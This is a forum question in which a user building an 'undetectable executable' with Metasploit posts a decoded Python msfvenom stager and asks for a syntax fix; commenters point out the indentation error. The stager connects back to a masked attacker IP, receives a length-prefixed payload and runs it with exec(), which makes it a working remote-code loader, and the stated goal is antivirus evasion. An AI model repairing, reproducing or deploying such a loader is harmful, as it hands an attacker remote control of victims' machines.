metasploit python payload code error

Asked May 30 '18 at 14:20

Active May 30 '18 at 14:20

Viewed 183 times

I am trying to make an undetectable executable with metasploit, metasploit makes the exploit, I make it undetectable, but it seems like metasploit failed his only task:

I just got it from msvenom, tried to run it and I get the error:

File "<string>", line 5
s.connect(('XXX.XXX.X.XXX', 4444))
^  SyntaxError: invalid syntax

I decrypted the code and this is the code :

 import socket,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
    s.connect(('XXX.XXX.X.XXX', XXXX))
        break
    except:
        time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s})

can you help me fix the code?

asked May 30 '18 at 14:20

Istvan Petru

1

Fix your indentation of the line that is causing the error - it needs to be indented like `s=socket.socket...etc.` – rst-2cv May 30 '18 at 14:22
1

Indentation in that line is wrong. Line it up with the ones above and below it. – BoarGules May 30 '18 at 14:22
Line 1 decrease and line 5 increase indent – Smart Manoj May 30 '18 at 15:12

metasploit python payload code error

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